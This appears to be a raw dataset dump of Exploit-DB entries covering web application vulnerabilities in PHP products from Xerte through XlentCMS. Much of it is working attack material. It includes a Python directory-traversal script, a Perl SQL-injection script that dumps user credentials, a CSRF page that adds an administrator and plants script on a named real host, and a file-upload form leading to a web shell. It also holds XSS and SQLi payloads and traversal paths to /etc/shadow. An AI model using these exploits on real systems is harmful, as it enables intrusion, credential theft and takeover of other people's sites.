deardaniel/secdata-raw huggingface dataset:
Exploit-DB #50794
Description: Xerte 3.10.3 - Directory Traversal (Authenticated)
Type: webapps
Platform: php
Date: 2022-03-02
Author: Rik Lutz

Exploit:
# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665

# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>

import requests
import re

xerte_base_url = "http://127.0.0.1"
file_to_grab = "/../../database.php"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.

with requests.Session() as session:
    # Get a PHP session ID
    if not php_session_id:
        session.get(xerte_base_url) 
    else:
        session.cookies.set("PHPSESSID", php_session_id)

    # Use a default template
    data = {
        'tutorialid': 'Nottingham',
        'templatename': 'Nottingham',
        'tutorialname': 'exploit',
        'folder_id': ''
    }

    # Create a new project in order to create a user-folder
    template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)

    # Find template ID
    data = {
        'template_id': re.findall('(\d+)', template_id.text)[0]
    }

    # Find the created user-direcotry:
    user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)
    user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]

    # Grab file
    result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
    print(result.text)
    print("|-- Used Variables: --|")
    print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])
    print("user direcotry: " + user_direcotry)
    print("Curl example:")
    print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
Exploit-DB #47659
Description: Xfilesharing 2.5.1 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2019-11-14
Author: Noman Riffat

Exploit:
# Exploit Title: Xfilesharing 2.5.1 - Arbitrary File Upload
# Google Dork: inurl:/?op=registration
# Date: 2019-11-4
# Exploit Author: Noman Riffat
# Vendor Homepage: https://sibsoft.net/xfilesharing.html
# Version: <=2.5.1
# CVE : CVE-2019-18951, CVE-2019-18952

#####################
Arbitrary File Upload
#####################

<form action="http://xyz.com/cgi-bin/up.cgi" method="post" enctype="multipart/form-data">
    <input type="text" name="sid" value="joe">
    <input type="file" name="file">
    <input type="submit" value="Upload" name="submit">
</form>

Shell : http://xyz.com/cgi-bin/temp/joe/shell.php

####################
Local File Inclusion
####################

http://xyz.com/?op=page&tmpl=../../admin_settings

This URL will fetch "admin_settings.html" template without any authentication. The ".html" extension is hard coded on the server so the included file must be with html extension anywhere on the server. You can even merge LFI with Arbitrary File Upload vulnerability by uploading an html file i.e. "upload.html" and changing the "sid" to "../../../../../../tmp" and so the file gets uploaded in tmp directory of the server. Now you can include the file like following.

http://xyz.com/?op=page&tmpl=../../../../../../../tmp/upload

The Xfilesharing script has builtin shortcodes as well so you can achieve RCE by including them in that "upload.html" file.

Noman Riffat, National Security Services Group Oman
@nomanriffat, @nssgoman
Exploit-DB #33528
Description: Xforum 1.4 - 'nbpageliste' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-14
Author: ViRuSMaN

Exploit:
source: https://www.securityfocus.com/bid/37818/info

Xforum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

This issue affects Xforum 1.4; other versions may also be vulnerable.


http://www.example.com/forum/liste.php?categorie=1&nbpage=1&nbpageliste=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #4908
Description: Xforum 1.4 - 'topic' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-14
Author: j0j0

Exploit:
#!/usr/bin/perl
#######################################################
#
# Xforum 1.4 Remote SQL Injection
# desc: Un forum php/MySQL, avec gestion complete des membres et des messages
# download: http://www.comscripts.com/scripts/php.xforum.1188.html
# d0rk: "xforum 1.4"
# bug found by j0j0
# c0ded by j0j0
#
# liretopic.php
# 68.       $conn = connect();
# 69.       $requete = "SELECT titre,closed,place,cara FROM topic WHERE numero=".$_GET['topic']." AND categorie=".$_GET['categorie'];
# 70.       $res = mysql_query($requete) or    die(mysql_error());
# 71.       $proptopic = mysql_fetch_row($res);
#
#######################################################

use LWP::UserAgent;
use HTTP::Request::Common;
$lwp = new LWP::UserAgent;

$host = $ARGV[0];

print q{
----------------------------------------------
      .: Xforum 1.4 Remote SQL Injection :.
----------------------------------------------
  c0ded by: j0j0
  download: http://www.comscripts.com/scripts/php.xforum.1188.html
  desc: Un forum php/MySQL, avec gestion complete des membres et des messages
  d0rk: "xforum 1.4"
----------------------------------------------
};
 
if(!$ARGV[0]) {
    print "[*] Usage: perl $0 [HOST]\n";
    print "[*] Example: perl $0 http://mysite.com/forum\n";
    exit(1);
}
 
print "\n[*] Connecting to $host...\n";
$i=0;
while(true) {
    $go=$lwp->get($host."/liretopic.php?categorie=1&topic=-1/**/UNION/**/SELECT/**/CONCAT(0x21232321,pseudo,char(58),pass,char(58),mail,0x21232321),1,2,3/**/FROM/**/inscrit/**/LIMIT/**/$i,100000/**//*&nbpage=1&nbpageliste=1");
    if($go->content =~ m/!##!(.*?)!##!/ms) {
        @res = split(/:/, $1);
        $res[1] = substr($res[1], 0, 32);
        print "\n[+] Username : $res[0]\n";
        print "[+] Password : $res[1]\n";
        if($res[2] =~ /(.*?)@(.*?)/) {
            print "[+] Mail : $res[2]\n";
        }
        $i++;
    }
    else {
        if($i == 0) {
            print "[-] Exploit failed\n";
        }
        exit(1);
    }
}

# milw0rm.com [2008-01-14]
Exploit-DB #21382
Description: XGB 1.2 - Remote Form Field Input Validation
Type: webapps
Platform: php
Date: 2002-04-14
Author: Firehack

Exploit:
source: https://www.securityfocus.com/bid/4515/info

xGB is guestbook software. It is written in PHP and will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

xGB does not sufficiently validate input that is supplied via form fields. An attacker may, under some circumstances, exploit this condition to execute arbitrary commands via injection of PHP code into form fields.

First insert this code (<?php echo"delete datafile";?>) into a field like
"Ihr Name", "Ihre eMail", "Homepage-Name" or "Homepage-URL". After that you can see your text you have inserted into the "Text"-Field. Now insert the same code
into the same field as before. Now you get a error-message. If you now
insert a third message the whole datafile is deleted and only the last message is saved in it.
Exploit-DB #4336
Description: xGB 2.0 - 'xGB.php' Remote Security Bypass
Type: webapps
Platform: php
Date: 2007-08-29
Author: DarkFuneral

Exploit:
/*
*
* xGB 2.0 (xGB.php) Remote Permission Bypass Vulnerability
* Bug discovered by DarkFuneral
* http://www.darkfuneral89.altervista.org/
*
* Affected Software: xGB
* CMS Site: "i don't know! :P"
* Severity: Critical
* Description: An attacker can edit all message in xGB
* Google Dork: allinurl:"xGb.php"
*
* E-Mail: darkfuneral89@gmail.com
* 
*
*
*
* Exploit Code: http://www.site.com/path/xGB.php?act=admin&do=edit
*
*
*
* Tested on www.culturebeach.de/guestbook.php
*
* Special Greetz to SystemFAILURE because I Love Him...
*
*/

# milw0rm.com [2007-08-29]
Exploit-DB #25090
Description: XGB 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2005-02-08
Author: Albania Security Clan

Exploit:
source: https://www.securityfocus.com/bid/12489/info

xGB is reportedly affected by a vulnerability that could permit unauthorized administrator access. This issue is due to the application failing to properly verify user credentials.

A malicious user could exploit this vulnerability to bypass user authentication and gain administrative access.

This vulnerability is reported to affect xGB version 2.0; earlier versions may also be vulnerable. 

http://www.example.com/xGB.php?act=admin&do=edit
Exploit-DB #21381
Description: XGB Guestbook 1.2 - User-Embedded Scripting
Type: webapps
Platform: php
Date: 2002-04-15
Author: Firehack

Exploit:
source: https://www.securityfocus.com/bid/4513/info

xGB is guestbook software. It is written in PHP and will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

xGB allows users to post images in guestbook entries by using special syntax to denote a link to an image. However, script code is not filtered from the image tags ([img][/img]) used by the guestbook. An attacker may cause script code to be executed by arbitrary web users who view the guestbook entries. 

[img]javascript:alert('This Guestbook allows Cross Site
Scripting');[/img]
Exploit-DB #8101
Description: XGuestBook 2.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-24
Author: Fireshot

Exploit:
##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Vulnerability = SQL Admin Auth Bypass
Software = XGuestBook v2.0
Download =http://script.wareseeker.com/download/xguestbook.rar/14488

Greets to = Osirys, Myral, str0ke

###########################################################################

[CODE]

$user = $_POST['user'];
$pass = md5($_POST['pass']);

$result = mysql_query("SELECT * FROM xgb_user WHERE user='" . $user . "'
AND pass= '" . $pass . "'", $db_conn) or die (mysql_error());

[/CODE]


[EXPLOIT]

[URL] = http://www.site.com/login.php

you can inject SQL code in the USER space to bypass the admin login 

[USER] = admin' or '1=1

[/EXPLOIT]

############################################################################

# milw0rm.com [2009-02-24]
Exploit-DB #52060
Description: Xhibiter NFT Marketplace 1.10.2 - SQL Injection
Type: webapps
Platform: php
Date: 2024-07-01
Author: Sohel Yousef

Exploit:
# Exploit Title: xhibiter nft marketplace SQLI
# Google Dork: intitle:"View - Browse, create, buy, sell, and auction NFTs"
# Date: 29/06/204
# Exploit Author: Sohel yousef - https://www.linkedin.com/in/sohel-yousef-50a905189/
# Vendor Homepage: https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA
# Version: 1.10.2
# Tested on: linux 
# CVE : [if applicable]

on this dir 
https://localhost/collections?id=2
xhibiter nft marketplace suffers from SQLI 

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4182=4182 AND 'rNfD'='rNfD

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 1492 FROM (SELECT(SLEEP(5)))HsLV) AND 'KEOa'='KEOa

    Type: UNION query
    Title: MySQL UNION query (NULL) - 36 columns
    Payload: id=2' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x655465754c50524d684f[PII_REDACTED]58624e4e596c614b6d4a56656f495669466d4b704362666b58,0x71716a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
Exploit-DB #28509
Description: XHP CMS 0.5.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-11
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/19948/info

XHP CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

Version 0.5.1 is vulnerable; other versions may also be affected.

http://www.example.com/index.php?errcode=<script>alert(document.cookie);</script>
Exploit-DB #38745
Description: Xibo - 'layout' HTML Injection
Type: webapps
Platform: php
Date: 2013-08-21
Author: Jacob Holcomb

Exploit:
source: https://www.securityfocus.com/bid/62063/info

Xibo is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible.

Xibo 1.4.2 is vulnerable; other versions may also be affected. 

POST: /index.php?p=layout&q=add&ajax=true

Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0
Exploit-DB #38746
Description: Xibo - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2013-08-21
Author: Jacob Holcomb

Exploit:
source: https://www.securityfocus.com/bid/62064/info

Xibo is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Xibo 1.4.2 is vulnerable; other versions may also be affected. 

<html>
<head>
<title> Xibo - Digital Signage 1.4.2 CSRF Exploit.</title>
<!--
# CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators
# Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators
# CVE: CSRF - CVE-2013-4889, XSS - CVE-2013-4888
# http://infosec42.blogspot.com
# http://securityevaluators.com
-->
</head>
<body>
<h1>Please wait... </h1>
<script type="text/javascript">
//Add super user
function RF1(){
    document.write('<form name="addAdmin" target ="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=user&q=AddUser&ajax=true" method="post">'+
    '<input type="hidden" name="userid" value="0">'+
    '<input type="hidden" name="username" value="Gimppy">'+
    '<input type="hidden" name="password" value="ISE">'+
    '<input type="hidden" name="email" value="Gimppy@infosec42.com">'+
    '<input type="hidden" name="usertypeid" value="1">'+
    '<input type="hidden" name="groupid" value="1">'+
    '</form>');
}

//Set XSS Payloads
function RF2(){
    document.write('<form name="addXSS" target="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=layout&q=add&ajax=true" method="post">'+
    '<input type="hidden" name="layoutid" value="0">'+
    '<input type="hidden" name="layout" value="Gimppy<img src=42 onerror='alert(42)'>">'+
    '<input type="hidden" name="description" value="<iframe src='http://securityevaluators.com' width=100 height=1000</iframe>">'+
    '<input type="hidden" name="tags" value="">'+
    '<input type="hidden" name="templateid" value="0">'+
    '</form>');
}

function createPage(){
    RF1();
    RF2();
}

function _addAdmin(){
    document.addAdmin.submit();
}

function _addXSS(){
    document.addXSS.submit();
}

//Called Functions
createPage()
   
for (var i = 0; i < 2; i++){
    if(i == 0){
        window.setTimeout(_addAdmin, 0500);
    }
    else if(i == 1){
        window.setTimeout(_addXSS, 1000);
    }
    else{
        continue;
    }
}
</script>
</body>
</html>
Exploit-DB #26955
Description: Xibo 1.2.2/1.4.1 - 'index.php?p' Directory Traversal
Type: webapps
Platform: php
Date: 2013-07-18
Author: Mahendra

Exploit:
Exploit Title: Xibo Directory Traversal Vulnerability
Exploit Author: Mahendra
Date: 2 April 2013
Vendor homepage: http://xibo.org.uk
References:
http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-(DS-2013-00

############################
Affected Vendor: Spring Signage Ltd
Affected Software: Xibo
Affected Version: 1.2.2 and 1.4.1, previous version may also affected
Issue type: Directory Traversal
Release Date: 2 April 2013
Discovered by: Mahendra
Issue status: Patch available
############################

Description
---------------------
What is Xibo?
Xibo is a software package which provides a high quality digital signage system for free! Digital signage is essentially any form of digital display, such as a TV, which is used for showing notices, public announcements, advertisements, etc.
There are an ever increasing number of software packages that do this job – Xibo sets itself apart in both functionality and cost (Xibo is completely free!). The people behind the Xibo project believe that the software used to display content shouldn’t break the bank and shouldn’t be inflexible, unwieldy or out of date – and we are happy that Xibo is none of these things.
Xibo is community driven and open source which means that if there is something you don’t like, you are completely free to change it (or to get it changed by the community).
more details: http://xibo.org.uk/about/

Issue Summary
------------------
Directory traversal vulnerabilities occur when user input is used in the construction of a filename or directory path which is subsequently used in some system function. If the input is not correctly validated or directory permissions not correctly set, it may be possible to cause a different file to be accessed other than that intended. This issue was exploited by adding a null byte (%00) which resulted in the application ignoring the rest of the supplied value after the null byte.

Proof of Concept
--------------------
http://host/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=[PII_REDACTED]

The parameter true value will be different for each user.

Solution
-----------------
Upgrade to Xibo 1.4.2 or later.
Exploit-DB #35436
Description: Xinha 0.96 - 'spell-check-savedicts.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-03-10
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/46825/info

Xinha is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

Xinha 0.96.1 is vulnerable; prior versions may also be affected. Note that applications that use vulnerable versions of Xinha may also be affected. 

http://www.example.com/wikiwig5.01/_wk/Xinha/plugins/SpellChecker/spell-check-savedicts.php?to_r_list=%3Cscript%3Ealert(0)%3C%2fscript%3E
Exploit-DB #38045
Description: XiVO - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-11-21
Author: Francis Provencher

Exploit:
source: https://www.securityfocus.com/bid/56652/info

XiVO is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

XiVO 12.22 is vulnerable; other versions may also be affected. 

<html><head><body>
<title>Deleter user ID 2</title>
<iframe src=https://www.example.com/xivo/configuration/index.php/manage/user/?act=delete&id=2&page=1');
</body></head><html>
Exploit-DB #22548
Description: Xivo 1.2 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2012-11-07
Author: Mr.Un1k0d3r

Exploit:
Xivo 1.2 Arbitrary File Download under root privileges
===============================================================

Date: 6/11/2012
Exploit Author: Mr.Un1k0d3r
Vendor Homepage: https://wiki.xivo.fr
Software Link: https://wiki.xivo.fr/index.php/XiVO_1.1-Gallifrey/Install_XiVO_With_CD
Version: 1.2 (last patched version)
Tested on: Linux xivo 2.6.32-5-486

Exploit:
Using the web interface you can download any file from the system. The web application is running under root privileges. 
You can download clear text password, /etc/passwd, /etc/shadow and many more...

POC:
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/passwd
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/shadow 
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/manager.conf
https://server-ip/xivo/configuration/index.php/manage/certificate/?act=export&id=../../../../etc/asterisk/cel_pgsql.conf

This vulnerability was discover by Mr.Un1k0d3r From RingZer0 Team.

Exploit-DB Note:
This appears to have been fixed
https://projects.xivo.fr/issues/3912
http://git.xivo.fr/?p=official/xivo-skaro.git;a=commit;h=127ab43e6d8e8ed94f16ff388fb62fd611a40e19
Exploit-DB #4502
Description: xKiosk 3.0.1i - 'xkurl.php?PEARPATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-08
Author: h4ck3r

Exploit:
xKiosk WEB <= (PEARPATH) Remote File Include Vulnerability

Script : xKiosk WEB

Version : 3.0.1i

Download : http://xkiosk.net/xkiosk.3.0.1j.web.zip

AUTHOR : BorN To K!LL

Vuln Code :

include($PEARPATH.'Client.php');

3xpl0!T :

[p4th]/system/funcs/xkurl.php?PEARPATH=[-SHell-]

Greetings 2 :

str0ke - Dr.2 - AsbMay's Group - GoLd_M - KuWaiT SeCuriTy ..

BorN To K!LL <> GoLd_M = 4ever ... =P

# milw0rm.com [2007-10-08]
Exploit-DB #3327
Description: XLAtunes 0.1 - 'album' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-17
Author: Bl0od3r

Exploit:
#Critical Status:High
#Found By:Bl0od3r
#Download:http://www.scriptdungeon.com/script.php?ScriptID=2844
#Greetz:all my friends
#fuckz:Don(h4cky0u) for steeling hacks of others,for his 100% noobility,for his noobass.DON your an idiot.fucka. -
#confkey->Password
#confvalue->Username
#Table:config
#http://host.com/path/?mode=view&album=-1%20UNION%20SELECT%20confkey%20FROM%20config/*

# milw0rm.com [2007-02-17]
Exploit-DB #10899
Description: XlentCMS 1.0.4 - 'downloads.php?cat' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-01
Author: Gamoscu

Exploit:
 Script      : XlentCMS V1.0.4 (downloads.php?cat) SQL Injection Vulnerability

 Script site : http://sphere.xlentprojects.se/portal.php 

 AUTHOR      : Gamoscu
   
 HOME        : http://www.1923turk.biz

 Blog        : http://gamoscu.wordpress.com/

 Greetz      : Manas58 Baybora Delibey Tiamo Psiko Turco infazci X-TRO
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
exploit:
-------
http://www.xxx.com/path/downloads.php?cat=[SQL]

Example:

1+union+select+1,id,3,4,username%20,password,7,8,9+from+xcms_members--


Vatan Lafla De&#65533;il Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin